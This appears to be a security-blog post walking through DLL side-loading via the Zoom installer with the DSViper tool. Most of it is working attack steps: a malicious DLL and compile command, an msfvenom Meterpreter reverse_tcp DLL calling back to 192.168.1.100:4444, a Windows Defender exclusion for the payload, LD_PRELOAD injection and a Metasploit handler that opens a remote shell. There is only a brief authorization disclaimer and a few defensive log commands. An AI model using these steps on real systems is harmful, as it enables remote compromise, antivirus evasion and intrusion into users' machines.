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DLL side-loading is a technique used by adversaries to bypass security defenses by exploiting applications that dynamically load DLLs during runtime. In this demonstration, the Zoom installer was used to side-load a malicious DLL and execute a payload. The process was automated using the DSViper tool.
DSViper Tool: DSViper Tool
You Should Know:
1. Identifying Dynamically Loaded DLLs:
Use tools like Process Monitor (ProcMon) to identify DLLs loaded by an application during runtime.
procmon.exe /AcceptEula /LoadConfig /BackingFile log.pml
2. Creating a Malicious DLL:
Write a malicious DLL in C/C++ that exports the required functions. Example:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
MessageBox(NULL, "DLL Injected!", "Success", MB_OK);
}
return TRUE;
}
3. Compiling the DLL:
Use a compiler like MinGW to compile the DLL:
gcc -shared -o malicious.dll malicious.c -Wl,--subsystem,windows
4. Automating with DSViper:
DSViper automates the process of DLL side-loading. Run the tool with the target application and malicious DLL:
DSViper.exe -t ZoomInstaller.exe -d malicious.dll
5. Bypassing EDR/Antivirus:
Use techniques like obfuscation or encryption to evade detection. Example with Metasploit:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
6. Testing the Exploit:
Execute the modified installer and observe the payload execution. Use Wireshark to monitor network activity:
wireshark
7. Post-Exploitation:
Use Meterpreter for post-exploitation tasks:
meterpreter > sysinfo meterpreter > shell
What Undercode Say:
DLL side-loading is a powerful technique for bypassing security mechanisms, but it requires a deep understanding of Windows internals and application behavior. Always test in a controlled environment and ensure proper authorization before performing such activities. Below are additional commands and tools to enhance your knowledge:
- List Loaded DLLs in a Process:
tasklist /m /fi "imagename eq Zoom.exe"
-
Analyze DLL Dependencies:
dumpbin /dependents Zoom.exe
-
Windows Defender Exclusion:
Add-MpPreference -ExclusionPath "C:\Path\To\Malicious.dll"
-
Linux Equivalent (LD_PRELOAD):
LD_PRELOAD=./malicious.so ./vulnerable_app
-
Monitor System Calls (Linux):
strace -f -e trace=open,read ./vulnerable_app
-
Windows Event Logs:
wevtutil qe Security /f:text /q:"*[System[(EventID=4663)]]"
-
Metasploit Payload Handler:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; run"
By mastering these techniques and tools, you can better understand and defend against DLL side-loading attacks. Always stay updated with the latest security trends and patches.
References:
Reported By: Dagowda Redteam – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
